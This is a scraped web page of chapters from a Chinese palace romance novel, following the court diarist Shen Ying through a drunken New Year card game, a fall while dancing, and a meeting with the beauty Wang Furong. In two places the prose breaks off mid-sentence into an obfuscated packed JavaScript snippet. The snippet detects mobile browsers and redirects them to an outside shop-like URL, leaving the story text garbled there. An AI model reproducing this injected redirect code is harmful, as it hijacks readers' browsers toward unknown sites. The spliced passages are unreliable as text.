沈缨开心了,笑出两个圆圆的小窝,欢喜道:“那是,宿夕那么厉害,一个人干掉狗皇帝不成问题。” 宿夕脸都木了,干掉皇帝?那还不如栓块石头跳进太液池给自己一个痛快呢。 这也是个奇人,在宫里关了半年多,看起来性子是变温顺点了,可刚喝了些酒,倔脾气说来就来,自己和皇帝别苗头不说,还殃及了自己这条池鱼。 现在怎么办呢,只求她别把自己给祸害成烤鱼吧…… 宿夕来紫宸殿当差大半年,还是头一次进入御书房,紧张得腿都伸不直,然而沈缨这个二百五,淡定得让人心惊胆战,大马金刀往御塌上一坐,跟自己家似的招呼庆福和宿夕道:“来坐下呀,站着怎么打牌?” 因喝了酒,她的眼睛亮晶晶的,皇帝看似瞧着桌面,其实余光一直不错眼地瞧着她,神色非常古怪。 宿夕从来没有见过皇帝露出这样的神色,好像明白了什么,又觉得荒谬。 庆福看样子已经习以为常了,用问询的眼神请示了皇帝,皇帝这才回过神来道:“你们坐下吧。” 御塌很柔软,但宿夕还是如坐针毡,两条腿不停地抖,停都停不下来。 陛下就坐在她左边不到两尺的地方,她几乎都能闻到他身上的酒气,还有沈缨这个酒疯子,特兴奋地在发牌,也不知道在兴奋个什么劲儿。 收到牌后,对面的庆福警告地瞪了宿夕一眼。 庆福爷爷的眼部肌肉非常灵活,单凭一双眼睛就能传递出不同样的信息,现在瞪她的这一眼,意思大概是:绷紧你的皮子。 宿夕麻木地想,这还不够绷吗?绷得都快裂开了。 这是她牌王生涯中打得最燃烧脑力的一次牌,要输,但要输得不留痕迹,不仅自己要输,还要阻止沈缨赢。 何等蛋疼的任务。 为此,宿夕发挥了她十五年叶子牌之王的经验,眼观六路耳听八方,飞快地眨着眼计算每个人手里的牌。 ……沈缨的牌技一般,皇帝陛下的牌技糟糕,庆福爷爷深浅不知,但他是人精中的人精,应该也懂陪天子打牌的门道…… 所以,要配合庆福爷爷围堵沈缨……啊,皇帝出了个不按套路走的牌,得想个法子不露痕迹地解了他的围…… 宿夕发愁地看了眼自己手里的牌……出哪个呢? 由于眨眼眨得太快,她不小心微微翻起了白眼,又被对面的庆福爷爷用死亡凝视给警告了一遍。 宿夕都快委屈死了:我不过是只被赶上架的鸭子罢了,有种你瞪沈缨去呀! 一桌人一言不发地打了几圈,庆福和宿夕的脑袋都要烧出烟了,算牌,出牌,每一步都惊心动魄。 只有沈缨轻松自在,小嘴巴不停地哔哔叭叭,一会儿给宿夕鼓劲,一会儿向皇帝放嘲讽,一会儿还调戏庆福,忙得不可开交。 宿夕头大如斗:毁灭吧,赶紧的。 打出最后一张牌后,宿夕终于如释重负地出了口气,垂头道:“奴技不如人,这盘是输了。” 沈缨早就打光了牌出了局,见宿夕也输了,立刻嚷嚷起来:“宿夕你怎么输了啊?你不是说你是紫宸殿牌王吗?” 庆福的死亡视线刷地一下落回了宿夕身上。 宿夕浑身一震,脑门上的冷汗都出来了,慌忙解释道:“沈娘子记岔了,奴没有说过这样的话,奴的确是输了,还是陛下技高一筹。” 皇帝没有追究……不,应该说根本没把宿夕庆福放在眼里。 他看上去心情极好,把余牌一扔,平日里阴鸷的眉眼舒展开,隔着桌子笑眯眯对沈缨道:“怎么样,认输吗?” 沈缨哼了一声,但由于输了牌,这声哼显得有点底气不足,像狸奴撒娇一样软软乎乎。 “想耍赖啊?”皇帝笑意更浓,隔着桌子去刮沈缨的鼻子,被后者灵敏地躲开。 宿夕垂下眼想,陛下作此一问,说明他根本不了解她,沈缨一向是个黑白分明的人,输了就是输了,赢了就是赢了,一定不会耍赖。 她牌技那么糟糕,心眼子也少,当然没看出来自己和庆福两人用了多少心机才不动声色地把她给堵死,再不动声色地让皇帝赢。 这是真真正正长在阳光下的人,正直,天真,理想化,才华横溢,这样的人,宫里是没有的。 沈缨别扭了一阵子后,严肃道:“ 我输了。” 因为她最先出局,所以是本轮的最大输家。 “嗯,你输了,该怎么办呢?”皇帝陛下笑得见牙不见眼,兴致高涨,像是在引诱一只小动物。 沈缨打了个嗝,想了想道:“按规矩,要表演节目。” 宿夕想走,悄悄抬眼看看庆福,庆福没吭声。 庆福不跑,宿夕就也跑不了,三个人死死钉在原处,等着沈缨想好要表演个什么。 半晌,沈缨道:“好吧,我刚刚舞过剑了,这次换个新鲜的,胡旋舞,没见过吧。” 皇帝陛下惊讶挑眉道:“你还会这个?” 沈缨恼怒地跺脚:“我当然不会啊!可我表演写字做文章啥的你们又不爱看,胡旋舞那么简单,没吃过猪肉还没见过猪跑吗?你们等着。” 说罢,她蹭蹭蹭跑到了大殿中央站定,把自己摆成一个……嗯……勉强算得上妖娆的姿势。 皇帝陛下也换了个更舒服的姿势,一手撑在嘴边,一手搁在软榻扶手上,眯着眼瞧着她。 眼神里写满了“朕倒要看看你这个猪怎么跑”。 在三道目光注视下,沈缨她动了,她开始跳了。 宿夕觉得自己的眼睛贬值了。 时人品鉴舞蹈,大多爱批评一句:只见技艺,不见情思,但沈缨这跳得……感情倒是到位了,技巧一点没有。 宿夕迷茫地想:这真的是胡旋舞吗?怎么跟教坊的姑娘们跳的不一样呢?除了转圈子和摆手之外,哪儿看得出这是舞蹈? 而且沈缨她是不是长期伏案工作,背有点太硬了……瞧着像是一截刚出土的笔直的山药在努力扭动自己。 庆福努努嘴,憋笑。 她转头瞧瞧皇帝,皇帝看起来也很无奈。 “行了,别跳了,还不如表演个写文章呢。” 沈缨还在接着转,边转边凶道:“你闭嘴,老娘说要跳就一定要跳完,我阿爹说过,做事不能半途而废!” 皇帝听话地闭嘴了,就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599800|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么看着她转,一圈,又一圈,神色越来越温柔,大概还觉得有点宠溺。 她转啊转啊,转得越来越歪,突然间,她脚底一滑,重重地摔在了地上。 摔得特别实在,脸朝下,四肢扭曲,长发散成菊花状,和装晕碰瓷的妖艳贱货一点也不一样。 宿夕吓得魂飞天外,不知所措地站起身,这时,皇帝已经快步冲了上去,把她一把捞了起来,庆福也吓得一激灵,用力推了宿夕一把道:“煞才,愣着作甚,去叫太医啊!” 宿夕连滚带爬地跑出了书房,临走时忍不住瞧了一眼,皇帝正手足无措抱着怀里的人,在庆福的提示下掐她的人中,但沈缨还是没有反应,他气极了,大声质问庆福为什么不管用。 庆福耷拉着一张脸,朝着外面吼道:“沈起居郎昏过去了!快去膳房端碗醒酒汤来!” 宿夕浑身一抖,哆嗦着朝御膳房跑去。 这个兵荒马乱的除夕,最后以范太医宣判沈缨没啥大毛病告终,范太医冒着风雪来看了她一遭,说她只是喝多了还转了圈,晕过去了而已,睡个一觉就好了。 皇帝盛怒未消,给每个和沈缨一块玩耍的小宫女都治了顿手板。 然而没人敢问他要不要也罚下沈缨。 宿夕她们平白挨了一顿手板,疼在手心,引以为戒:沈缨此人酒品恶劣,往后有任何节庆饮酒活动,千万不能带她。 非要带吗?宿夕就是最惨痛的前车之鉴,匹夫无罪怀璧其罪,要不是她牌技惊人,演技自然,都不用皇帝亲自动手,庆福先把她收拾了。 * 当晚,宿夕抹着一背心的汗,回屋瘫在了床上,长长出了一口气。 惠月还没睡,翻过身小声问道:“怎么样?” 宿夕张了张嘴,半晌才道:“没什么大事。” 惠月笑道:“无事便好。” 宿夕爬起来洗漱,边擦掉脸上的残妆,边状若不经意道:“你说……沈娘子以后,会不会变成沈娘娘?” 惠月沉默下来。 满屋寂静,只剩下宿夕翻弄水花的声音。 惠月道:“谁都有可能,唯独她不会。” 宿夕闭上眼,微微点点头道:“嗯。” * 第二日中午,我悠悠转醒,头疼欲裂。 窗外天光大亮,我摸摸脑袋,一头雾水。 咦,今天是初一吗?我不用上工? 听见了响动,小金莲端着一碗汤水进来道:“沈娘子睡得真香,连元日大朝会的动静都没吵醒娘子,娘子醉了酒,喝些醒酒汤吧。” 我浑浑噩噩地接过汤喝了,转头问她:“李……陛下呢?” 小金莲老实道:“元日大朝会还没散,要等到午间陛下才会回来。” “哦……” 我扶着脑袋,回忆着昨晚的事,记忆只到了拉着宿夕去打牌这儿,再后面发生了什么,我就一点也不记得了。 唉,都怪我这个一喝酒就断片的坏毛病。 我问小金莲道:“宿夕最后赢了吗?” 小金莲咽了口唾沫,瞪大眼反问道:“沈娘子都忘了吗?” 我不太好意思地承认:“嗯……我从小就这样,喝酒上头了之后,第二天什么都想不起来。” 为了协助我找回记忆,小金莲帮我叫来了当事人宿夕姐姐。 宿夕过来了,轻手轻脚坐去床边,我见到她第一眼,被她吓了一大跳。 不过一夜的功夫,宿夕整个人憔悴到不像话,眼睛下面挂着浓重的黑眼圈,神态萎靡,看我的眼神也极为诡异。 我心里发毛,心想完犊子了,我昨晚必是对她做了些很过分的事,但尴尬之处就在这里,我半点都记不起来,只能小心翼翼道:“宿夕,你这是……” “我没事。”宿夕飞快道:“昨晚没睡好罢了。” 我觉得她有事,她看上去好沧桑,昨晚她可不是这样的。 宿夕抿了抿嘴道:“小金莲说你把昨夜的事统统忘了,可是真的?” 我点头如捣蒜:“是啊,我全忘了,就从拉你去牌桌上开始,接下来的就不记得了。” 宿夕反复确认:“你真的想听吗?” 得到肯定的回答后,宿夕叹了口气,把昨夜发生的事重新说了一遍。 听完了这个漫长的故事之后,我心里的小人尴尬到浑身抽搐。 而我本人离当场去世也不差多少了。 “……其实还好啦,陛下没有生气,没说要罚你,只是因聚众博戏吃酒的事儿,罚了我们几个一顿手板罢了。”宿夕翻过她微微红肿的手道:“你看,现在已经消下去了。” 我恨不得跪下向她道歉:“对不住姐妹们,以后不敢了。” “没关系,这也算是因祸得福,庆福爷爷今早还赏了一丈红绫,夸我聪明机灵来着,你倒不必为我觉得内疚,陪主子玩本来就是我们宫女们该干的事呀。” 宿夕拍着我的后背安慰道。 我没有被安慰到,钻在被子里放声哀嚎:“宿夕姐姐我错了!我请你吃饭赔罪……好丢脸,这真的都是我做的吗?我的天,我还跳胡旋舞了,可我根本不会跳啊!大家是不是都在笑我?要命,我没脸做人了……” 不要怪我反应过度,人是社会性的动物,对我们这种脸面比天大的史官来说,社会性死亡比真正意义上的死亡还要恐怖。 宿夕安抚我的手一顿,斟酌道:“没有,陛下没有嘲笑你,陛下很欣赏你的舞姿,不过沈娘子……虽然陛下没有计较,但御前晕厥总归是有失体统的,还有酒……唉。” 我绝望地蒙着被子尖叫,发泄汹涌澎湃的尴尬。 * 因为那三两黄汤,我不但错过了元日大朝会,还成为了一个倒霉的胃病患者。 范太医被半夜宣入紫宸殿,年都没有过好,对我非常怨念,趁此机会好好检查了一下我的身体,然后严肃地告诉我,我胃火和肝火太旺,不宜养生。 “膳房说你多次深夜要求送夜宵过去,你看你,既熬夜,又积食,难怪胃和肝都不好。”范太医一边啰啰嗦嗦地给我开方子,一边感叹现在的小年轻真不爱惜自己的身子。 我抱怨道:“关夜宵什么事,范大夫我跟你说,我肝不好这事儿吧,主要还是郁结于心闹的。” 范太医道:“具体因为什么,老夫不管,圣上特特让老夫给你请平安脉,老夫必要把你身子给调养好了。” “用得着范大夫您吗?他自己少气一气我,我起码能多活十几年,非要舍近求远,浪费范大夫宝贵的医术,什么毛病。” “姑奶奶你可闭嘴吧。”范太医无语道。 13. 第十三章-工具人美少女 托我除夕那夜发神经的福,宿夕入了庆福的眼。 一道儿打了一场牌之后,庆福很欣赏宿夕临危不乱的静气,放出了风声,说明年要把她和惠月提拔为紫宸殿的大宫女。 一时众人皆惊,妒者如云,紫宸殿大宫女,这可是光宗耀祖的岗位,宫女生涯的巅峰,通往阶级迁越的康庄大道啊! 宿夕天降馅饼,欣喜若狂,兴奋之余不忘犒赏伯乐,当晚便从膳房提了一篮乳酪樱桃回来,非说要送给我。 “宿夕姐姐使不得,我差点害苦了你,你还送我东西,这不合适!”我脸涨得通红,奋力推辞她的好意。 宿夕正在兴头上,浑身有使不完的力气,嘴里道:“哪儿不合适?有道是成功细中取,富贵险中求,沈娘子你给了我这个机缘,让我在庆福爷爷面前露了把脸,怎么是害我呢?” 我实在拗不过她,只能别别扭扭地收下了,在宿夕殷切的眼神注视下,硬着头皮猛吃了三碗乳酪樱桃,半夜里打了无数个奶味的嗝。 过了几天,延英殿务工的意得小可爱来找我,兴奋地告诉我:他成功升职啦,从一个洒扫内侍变成了一个光荣的内殿内侍,不独是地位有提升,连工资都小小涨了一波,现在碰到从前的旧识,人家都拿羡慕的眼瞧他,让他极是妥帖满足。 我鼓励他:再接再厉,争取有一天拳打素行脚踩庆福,干出属于你的一片天! 大家都忙着升官发财,我也不例外,在我义正严辞的要求下,狗皇帝痛快地给我发了双份的俸禄,条件是让我给他当陪读,每日一个时辰起,负责为他答疑解惑,研墨递笔。 后来他发现我研墨水平稀烂,遂把工作内容缩小至仅仅答疑解惑。 虽然我觉得这份工作很无聊,但外面却有许多的人羡慕这个机会,尤其是魏喜子,他馋得都要哭了。 “我也想要双倍的俸禄,”魏喜子眼巴巴道:“陛下那儿还缺人吗。” “你平白无故的,为什么要多干活?”我疑惑地问道:“伺候他多烦呐。” “我想多攒些金银,长安钱米贵,去年考上进士还没授职的时候,我每日都只吃得起蒸饼拌糠咽菜,”魏喜子诉苦道:“我娘还来信问我有没有在长安买上宅子,还宅子呢,我连大户人家的茅房都买不起!” 我不敢吭声,我家刚买了胜业坊豪宅,说出来我怕他有情绪。 “要不喜子哥你多练练书法,我听说写碑铭来钱很快……哦!我记得先皇在世的时候,曾给当时的吴起居郎赐过一套安邑坊的宅子,如果你干得够好,没准咱们陛下也能给你赐个呢!”我绞尽脑汁给他想财路。 没想到魏喜子黑脸一红,羞羞答答道:“承你吉言,我要是有了安邑坊的宅子,就有勇气去……去向她提亲了。” 我八卦的耳朵灵敏地竖起:“跟谁提亲?女的?” 魏喜子浑身冒出粉红泡泡,幸福洋溢地嗯了一声。 在我的高强度逼问下,魏喜子很快就缴械投降,全盘交代,说是他在除夕夜的花会上,遇到了一个翩若惊鸿宛若游龙的大美人儿,美人儿丢了簪子,恰好让魏喜子捡着了,美人接过发簪,对他楚楚一笑,魏喜子那少男怀春的心,就这样落在了曲江岸。 “……她美得就像一个梦,见了她才明白什么才叫一顾倾城再顾倾国,甭说是人世佳人了,就连九天仙子都比不上她的一根头发丝,你没见过她,你想象不出的……”魏喜子痴迷地回忆道。 我无情打破他粉红色的回忆:“别想了,咱们长安城里漂亮到你说的这个程度的只有三个,教坊司的谢修娘,红袖楼的酥香雪,另加尚书令温大人家的温白璧,前两个都不是正经人,后一个你也高攀不起。” 魏喜子赶紧摇头道:“都不是,她说她姓王,住在崇仁坊。” 我一下警惕起来道:“喜子哥,你要小心些,长安城里有名姓有排场的漂亮娘子不多,我几乎全见过,可崇仁坊几户王姓人家,女儿生得都其貌不扬,她莫不是个流莺艺伎,看你供职御前,还尚未娶妻生子,有意勾引?” 看他笨得跟个憨八龟似的,我觉得我有必要向他科普长安市井仙人跳的种种套路,免得被人给坑了再哭唧唧地跟我借钱。 魏喜子还想再说,庆福突然来传唤我,说是皇帝宣我过去陪着读书,命令我速速到岗。 我只得和魏喜子约定下回再聊,遗憾地跟着庆福走了。 直到开始上工时,我脑子里还是记挂着魏喜子的艳遇,李斯焱同我说话,我也是心不在焉, “你在想什么?” 脑门被书敲了一记,抬头时李斯焱正懒洋洋地看着我,修长的手指拈着一本时人诗集。 我回了神,拢起袖子道:“没什么事,就是先前魏喜子说他元夕那日去曲江赶诗会,遇见了一个天仙绝色的美人,我在想她漂亮到什么程度,让魏喜子几天了还魂不守舍的。” 李斯焱饶有兴致道:“你好奇吗?不如我把她叫进宫来给你瞧瞧?” “是你自己想瞧吧,推到我身上作甚。”我翻了个白眼。 * 我不过是随口一提,没想到李斯焱真来了兴致,他找人按照魏喜子提供的线索一户户查过去,很快就查到了那个绝色佳人的住址,并在正月的某个清晨,传唤此女入宫觐见。 他发布这条命令的时候,我正紧紧拢着袖子取暖,心想狗皇帝可真是焉儿坏,他这么一搞,魏喜子哪还敢再肖想他的神仙姐姐,一颗少男心就这样被生生打碎,好不令人唏嘘。 连着两天了,我每次出殿门都看到魏喜子对着夕阳,悲伤地吟诵“山有木兮木有枝,心悦君兮君不知”之类的失恋必吟经典三百首……我不小心听了几回,差点把门牙给酸掉。 * 魏喜子失恋的悲伤,在美人进宫的那日达到了巅峰。 惠月告诉我,李斯焱把觐见的地方挑在了清思殿。 清思殿殿如其名,坐落在太液池东侧,大冬天的那叫一个又凄又冷。 觐见当日的大清晨,我哆哆嗦嗦地起床,颤颤巍巍地跟着皇帝的御驾前往太液池,一边往手心哈气,一边在心里狂骂狗皇帝折腾人,他就不能自己去和美女谈星星月亮人生理想吗?非要把我和魏喜子两个叫过去看他俩眉来眼去,什么玩意儿! 魏喜子心情也十分复杂,一方面,要见到心仪的女子令他十分激动,另一方面,心上人要变成娘娘了,这又令他十分伤感。 我本想安慰一下他,但今天刮的是祁连山来的西北风,太冷了,我觉得人还是应该多可怜可怜自己。 突然,庆福从队伍前头过来,给我递了一个精致的小手炉。 我受宠若惊,接过来抱在怀里道:“哇,谢谢庆福!” 庆福臊眉搭眼,态度冷淡道:“谢我作甚,陛下给你的。” 我马上把小手炉拿起来端详了一番,确认了这不是李斯焱常用的那几个,这才放下心来,问庆福道:“是送我的,还是只借我使一使?” “美得你,这是给王娘子准备的,待会儿进了殿,记得还给惠月。” 庆福翻了个白眼,转身就走。 我揣起手炉,冲他的背影做了个鬼脸。 死老太监天天翻白眼,也不怕眼皮子抽筋。 终于走到了清思殿,我把手炉还给了惠月,惠月接过去笑道:“圣上许久未幸清思殿了,如今难得来一次,我们做下人的必须好好伺候才是。” “惠月姐姐真厉害,”我拍她马屁,和她一起进了耳房:“这上上下下都是你收拾的吗?” “不独是我,尚宫局那里也派来了一个管事娘子。”惠月道:“其实只是简单清扫了一下,陛下突然说要用这处宫苑,我们措手不及,匆忙之中束手束脚,也只能打点成这样。” 我随口道:“清思嘛,与情思读音相谐,他选这处宫殿,司马昭之心路人皆知,只是难为了我们这些下人,要重新给他整修屋子不说,还要大老远地从紫宸殿走过来,烦死人了。” 惠月只是笑,不接话。 * 等了约一盏茶功夫,那传说中的天仙大美人翩然而至,由一群宫女内侍们簇拥着,款款走入殿门。 传说中的大美女即将登场亮相,众人皆屏息凝神,静候佳人。 魏喜子强作镇定,其实脖子非常明显地伸长了一寸,看起来像个等食儿的雏鸟。 人未见,香风先入罗帷,隔着帘子看她第一眼时,我被惊艳地哇了一声,双手不自觉地捂住了嘴。 天啊,我看到了仙女吗? 魏喜子没骗我,确实是一个窈窕世无双的大美人,目若横波,肤若凝脂,穿了迤地的红绮罗裙,仪态优雅如水中央的鹤,昔日长安三大美人绑在一块儿都比不过眼前的这位主儿,这是真真正正的倾国之姿。 我兴奋地心想:稳了,李斯焱告别处男之夜就在今晚。 美人步步生莲入了内殿,只留一个翩若惊鸿的背影。 我们这些在旁随侍的半天没回过神来,尤其是魏喜子,那日他见到这位美人时,美人不过寻常打扮,今日她着了盛装,更加艳色逼人,连我们这些女子看了都心动,更何况男人呢。 我拉了拉惠月的衣袖问道:“她叫什么名字?是咱们长安人士吗?” 一向沉静的惠月也失神了好一会儿,被我一拉,才大梦初醒般回转了来,回答道:“她叫王芙娘,是琅琊王氏的送来的娘子,咱们除夕吃酒的时候,小蝶说起要进宫的两位娘娘,其中之一就是她。” 我听得呆了:“啊?有这样巧的事?” 惠月若有所思道:“谁知道是不是巧的呢,这样因缘际会之事难说得很。” 我愣了愣,明白了她的意思,哦……看来美女是个很厉害的美女啊。 所以这个故事是:王娘子先是打听到了魏喜子是天子近臣,再安排一场和他的偶遇,最后引起了皇帝的兴趣被招进宫。 她这样一做,就能先另一位巨鹿魏氏的女子一步面圣,提前入了皇帝的眼,李斯焱的后宫至今空空如也,若她能摘到第一颗桃子,在年轻的皇帝心里,今后的位置绝对低不了。 想到这儿,我又兴奋起来,厉害的美女好啊!最好再吃个几碗飞醋,吹吹枕头风让李斯焱把我给提前放了…… 正当我陶醉于未来畅想中无法自拔,甚至开始脑补抱美人大腿的一百种姿势时,庆福像幽灵一样从我身后冒出来,阴恻恻道:“沈起居郎,陛下叫你进去。” 惠月的眉毛一抬。 我被吓了一跳:“他叫错人了吧。” 庆福耷拉着眼皮,一脸鄙夷道:“就是你,赶紧进去。” 我急道:“他俩金风玉露天作之合,叫我这个妖怪去煞什么风景?” 庆福道:“你想自个儿走进去,还是叫侍卫们扛进去?” 我想起了李斯焱手下那几个一身蛮力的侍卫,原地跺了跺脚,最后只得不情不愿,一步三回头地走了。 * 进门时,美女王芙娘正低垂着脸,楚楚地立在堂下。 她背对着我,露出后脖颈一片腻白的肌肤,弧度优美,莹莹然如雪光。 我不自觉地伸手摸摸自己由于常年伏案写作而格外僵硬的脖子,人比人气死人。 李斯焱今天穿的是一身朱红锦袍,我记得这身衣裳,一年前我从掖庭被叫回紫宸殿的时候,他就是穿着这身衣服接见的我。 可我格外讨厌这种鲜艳的红色,总让我联想起朱红的宫墙和那日宣政殿上我阿爹的鲜血,虽然已经过去了快一年的时间,那一幕我还是记得清清楚楚。 他在笑着同王芙娘说话,语气亲切和蔼,和跟我讲话时懒懒散散的样子南辕北辙。 呵,男人。 我进去后,轻手轻脚地找了个角落坐下,铺开一张纸记录他俩的对白。 虽然说这是起居郎的本职工作,但我总觉得不大自在,哪有和美女约会还带着起居郎的皇帝啊? 正常皇帝不都应该把宫人遣得一干二净,然后去龙榻上干些不可描述之事吗? 我一边想,一边运笔如飞:皇帝问王芙娘乃何地人士,芙娘笑答奴祖籍琅琊,去岁入长安,寄居崇仁坊王相宅……皇帝又问芙娘年岁几何,可有婚配,芙娘答虚龄十六,未许人家……皇帝问王芙娘可曾读书,芙娘答不过略识几字,读过四书五经等等……皇帝召芙娘上前。 王芙娘略往前走了两步,一双盈盈如水的大眼睛微微抬起,大胆地瞧了眼年轻的君王。 她大概对未来的夫婿是满意的,脸颊上飞起一片恰到好处的红云,更显娇媚。 女的美,男的狗,好一对不般配的璧人。 这就是做起居郎的好处了,能头排看皇帝的好戏。 正当我看得高兴时,李斯焱突然和蔼地对王芙娘道:“王娘子会错意了,朕是让沈爱卿上前。” 一边说,一边对我招招手。 我吃瓜的喜悦笑容凝结在了脸上。 王芙娘也愣住了。 她循着李斯焱的目光,转头看了我一眼,满眼都是惊疑不定。 噢,美人就是美人,连受惊都受得那么优雅。 眼见躲不过去,我尽力扯出一个真诚的笑容,小心翼翼蹭过来,向她打了个招呼。 王芙娘小嘴微抿,也对我行了个礼。 只见那水葱一样的素手轻轻翻起,仪态万方地向我屈膝一福,涂了樱色口脂的嘴唇开合道:“沈起居郎。” “啊,王娘子认识我吗?”我不好意思地挠挠后脑勺。 王芙娘温温柔柔道:“曾听长辈提起过。” “哦……” 说罢,她已转过了头去,可我还是忍不住瞧她,她生得太美了,我对美人天然有好感。 我又向她的方向蹭了一蹭,试图用我的平平无奇来衬托她的美丽。 我想让李斯焱知道:小老婆可比起居郎好玩多了,请多多跟小老婆玩耍,别老来折腾被迫上班的起居郎。 不知道他有没有体会到我的良苦用心,李斯焱斜斜倚在上首处,一只手撑着头,一只手抚弄着他新得的白玉镶金佩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599801|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 据我观察,他很喜欢金器,十足的暴发户审美,大概是小时候没见过什么好东西,长大之后的审美只懂得欣赏金玉之流,俗得很。 玩了一会儿后,他放下金玉佩,和颜悦色问我道:“沈缨,你觉得王娘子如何?” 他问得轻巧自然,惊得我身边的王芙娘气息都乱了,我几乎都能听见她心脏狂跳的声音,瞥过一眼去,她的身躯也在微弱地颤抖,不知道是在欢喜还是在害怕。 只是我闹不明白,狗皇帝自己给自己纳小老婆,问我的意见干什么,又不是给我挑媳妇。 “陛下何意?”我直接问他:“我与王娘子不过一面之缘,怎么好直接评价人家?” 李斯焱懒懒道:“你记性真差,那日不是你说想知道她生的什么样吗?就因为你朕才召她进宫来,今日见到了,朕问你感觉如何。” 什么? 我瞳孔地震,随即抓狂。 关我屁事啊!是你硬把人整进宫里来的好吗! 我眼睁睁地看到王芙娘温良敦厚的神情在一瞬间崩塌,她像是受了莫大的羞辱,浑身都在颤抖,一双大眼里怨念叠生,瞧瞧狗皇帝又来瞧我,我猜她想表达的是:好哇,原来你们俩是一伙的! 我不是我没有!我快急疯了,扯着嗓子道:“陛下你怎么能乱讲呢!那日我不过是略提了一嘴,你就颠儿颠儿去寻人了,你自己好色慕艾,非要推到我身上干什么呀!” 又对芙娘道:“王娘子别怕,他确实爱你的颜色,只是不敢承认罢了,男人都这样,爱面子。” 李斯焱笑了:“你知道的还不少,还知道男人爱面子呢。” 可王芙娘没有被我安抚到,听见我对李斯焱讲话如此放肆,美女吓得瞳孔一缩,立刻跪在了地上,蠕动着漂亮的嘴唇,带着哭腔道:“芙娘冲撞陛下,请陛下责罚!” 我哎哟了一声,想去拉她:“冲撞陛下的是我,你跪什么呀,地上凉,别伤了膝盖……” 李斯焱纵声大笑,大半年来第一次笑得那么快意。 他还笑,他还笑!我气恼地抬头道:“你在干嘛啊,喜欢人家直接纳了不就是了,假模假样问我作甚,把王娘子吓成这样你还笑,你怎么忍得下心的!” “朕身边只有你一个人,不问你问谁?” 他用最理所当然的语调说出最震撼的虎狼之词。 “你问惠月素行她们啊!后宫之事与我何干!” 王芙娘身子又是一晃,面色惨白,不可置信地看向我,神情愣愣的,像是在强行消化今日所见的魔幻事实。 李斯焱收了笑声,若有所思道:“听你这意思,是想让朕纳了她?” 我莫名其妙道:“你为什么非要把我扯进来!” 李斯焱摆摆手,对王芙娘道:“你先下去吧。” 我瞪了他一眼,低头搀起美人,转身离去,李斯焱突然在我背后道: “沈缨,你留下。” 最后,王芙娘孤独地走出了这间大殿,而我被狗皇帝无情扣留。 狗皇帝绕着我转了两圈,大概是刚见了美女,心情格外的好,居然还有心思哄我了,笑嘻嘻凑到我面前来问道:“怎样,满意吗?” 我皱皱鼻子,往后挪了两步,嫌弃道:“我瞧陛下挺满意。” 可不满意吗?声音柔得能拧出水来一样。 他悠哉悠哉地走到我刚刚坐的角落,拿起我记的起居注草稿看了几眼,又把草稿塞回我手中,懒懒道:“你说得对,确实是个美人,还被教得这样好,看来王家没少在她身上下功夫。” 我回忆起王芙娘的言行举止,觉得李斯焱说的有理,王家一定是请了专司礼仪的内苑退休宫女去教导了芙娘,才把一个乡下来的旁支女儿教得比长安淑女还要优雅。 我疑惑问道:“陛下既然不留她,为什么还要宣她入宫?” 李斯焱笑着拧我的脸:“不是你说想见她吗。” “你骗鬼呢。”我一把把他的手拍开,瞪着他道:“不想说就罢了,别搬我出来得罪人。” 他被我打了一记,也不生气。伸出手去继续拧我的面皮,笑呵呵道:“那你说说,朕怎么拿你出来得罪人了?” “我又不傻,你是想借我来杀一杀王氏的得意吧,她费尽心机找上门来,算计到了你头上,你当然不能随便纳了她,可你又不想真得罪了王家,所以那我做筏子呗。” 我一口气说了一长串,深深觉得自己简直聪明极了,看穿了李斯焱的大阴谋。 李斯焱故作意外道:“你什么时候长出的脑子,朕怎么不知道?” “我还没说完呢,这些事情凭她一个弱女子未必办得成,既然她迟早要进宫,陛下对她也满意,不如早早便纳了她?早纳早享受嘛。”我趁热打铁。 “享受什么?” “……红袖添香,煮酒论史啊,”我掰着指头数:“闺房之乐,妙不可言。” 这种问题不该问我,他应该去问问那些已婚的大臣们,保管人人都能提供一整本十八禁素材。 王芙娘有她的手段,我也有我的算盘,我巴不得她早点进宫,让狗皇帝夜晚干些夜晚该做的事情,别老让我陪他读书作画。 陪读这个活儿干起来太累了,常常需要回答狗皇帝提出的毫无常识的智障问题,他十岁才开蒙,文墨上的底子极薄,稍微晦涩一点的书都读不成,让充当人肉注释器的我十分痛苦。 而且一旦我没控制好表情,流露出“傻逼,你怎么连这个都不会”的意思时,他会非常阴沉地冷言讽刺我,然后我们两看两相厌,一整晚不说一句话。 有一次吵得厉害,他气得要再次罚我倒夜香,我当晚已经收拾东西准备去掖庭度假了,没想到狗皇帝突然进入我的屋子,踢翻了我刚收拾好的行李,骂我不识相不长眼人还蠢,然后毫无愧疚感地扬长而去,只留我一个人憋着一腔怒火无处发泄。 我迫切需要王芙娘来帮我分散火力。 听我劝他纳王芙娘,李斯焱的笑意淡了,脸色也冷了下来。 “看来你真的是聪明了,指望朕后宫有了人,晚间便不来烦你了?”李斯焱凉凉道,捏着我面皮的手突然用了力。 我疼得嘶了一声,自是不敢说实话,心虚道:“我没这个意思……只是见王娘子貌美,不忍见她伤心,所以想让陛下遂了她的意而已。” 李斯焱冷笑道:“你可真会为她着想。” 我索性不说话了。 后宫纳妃之事,与前朝有千丝万缕的联系,李斯焱这种控制狂一定有自己的主意,我劝也是无用,反而惹得他不快。 